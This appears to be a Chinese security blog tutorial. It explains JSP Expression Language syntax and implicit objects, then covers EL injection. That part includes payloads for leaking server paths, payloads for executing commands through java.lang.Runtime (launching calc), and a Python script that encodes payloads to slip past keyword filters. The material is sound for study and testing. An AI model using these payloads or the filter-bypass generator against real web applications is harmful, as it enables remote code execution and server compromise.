EL表达式注入
EL简介
EL表达式语言是JSP内置的语言,目的是为了让JSP写起来更加简单。其主要功能有以下几个方面
- 获取数据
- 获取WEB开发常用对象
- 执行运算
- 调用Java方法
语法
- 格式
EL表达式以${
开头,以}
结尾,中间即为我们的表达式
${expression}
- 访问数据
简介中就说过EL表达式的主要功能之一就是获取数据,那么这个功能具体是怎么实现的呢。EL提供了[]
和.
运算符,通过这两个运算符,我们可以实现数据的访问,比如访问一个JavaBean的属性的例子
${user.id}
${user[id]}
但是要注意的是,当属性名中存在- .
等特殊符号时,只能使用[]
访问,如:
${user[-id]}
此外,[]
也可以跟平常一样用来访问数组,list中的数据
- 操作符
EL中的操作符跟JSP中的基本一样,借一张图说话
- 隐式对象
EL表达式语言提供了一些隐式对象以便我们能获取到WEB应用中的数据。
pageContext
页面上下文对象,用于访问JSP的内置对象,如:request,response等,不过不能获取到application,config和pageContext对象,尝试访问
request
对象并获取传入的参数<%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String a="Hello"; %> <html> <head> <title>$Title$</title> </head> <body> test:${pageContext.request.getParameter("test")} </body> </html>
![image-20220323163018568](https://novic4tuc-1303164387.cos.ap-nanjing.myqcloud.com/ticket/image-20220323163018568.png)
- Scope系列隐式对象
EL提供了四个用于访问作用域范围的隐式对象,分别为pageScope
,requestScope
,sessionScope
,applicationScope
。比如一个EL表达式${test}
,此时并没有指定作用域范围,所以系统会依次从page
,request
,session
,application
进行查找,中途找到后直接回传,不再继续寻找,所有范围都未找到则回传""
。当指定作用域范围后,系统就只会在指定的作用域中寻找,如:${pageScope.test}
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
pageContext.setAttribute("test","xxx");
%>
test:${pageScope.test}
</body>
</html>
- param
用于获取请求参数的值
${param.test}
- paramValues
当一个请求参数名对应多个值时,就需要使用该对象获取其值,返回值为一个数组
${paramValues.test[0]}
- header
用于获取HTTP头的值
${header.host}
- headerValues
与paramValues
同理
- initParam
获取web应用初始化参数的值
- cookie
用于访问cookie
对象的属性
- 调用JAVA方法
EL表达式调用自定义JAVA方法需要几个步骤
编写自定义类和方法,方法需要是
static public
public class test { public String test(){ return "hello"; } }
在
WEB-INF
下新建test.tld
文件,指定执行的java方法和url<?xml version="1.0" encoding="UTF-8"?> <taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"> <tlib-version>1.0</tlib-version> <short-name>test</short-name> <uri>http://novic4.cn/test</uri> <function> <name>test</name> <function-class>test</function-class> <function-signature> java.lang.String test()</function-signature> </function> </taglib>
然后在JSP中导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name,然后调用方法
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <% @taglib uri="http://novic4.cn/test" prefix="test"%> <html> <head> <title>$Title$</title> </head> <body> xxxx: ${test:a()} </body> </html>
EL表达式注入
当我们能够控制EL表达式的内容时,就可以插入我们的恶意代码,获取服务器的敏感信息,甚至直接RCE。
获取敏感路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
获取webroot
${applicationScope}
执行命令
${"".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null).exec("calc")} ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
bypass
在一篇文章中看到可以用true.toString().charAt(0).toChars(67)[0].toString()
来构造字符,然后结合concat
方法构造字符串,进入绕过对关键字的过滤,写了个小脚本生成payload
def encode(exp):
payload='true.toString().charAt(0).toChars({})[0].toString()'
bypassexp=''
for i in range(0,len(exp)):
if i == 0 :
bypassexp+=payload.format(ord(exp[i]))
continue
bypassexp+=".concat({})".format(payload.format(ord(exp[i])))
return bypassexp
bypassexp='pageContext.setAttribute("a","".getClass().forName({}).getMethod({},"".getClass()).invoke("".getClass().forName({}).getMethod({}).invoke(null),{}))'.format(encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('calc'))
print(bypassexp)
成功绕过
看资料说unicode
和八进制也可以绕,但是测试的时候并没有成功
参考文章
https://xz.aliyun.com/t/7692#toc-18
http://j0k3r.top/2020/08/13/java-expression/#0x03-EL-%E6%B3%A8%E5%85%A5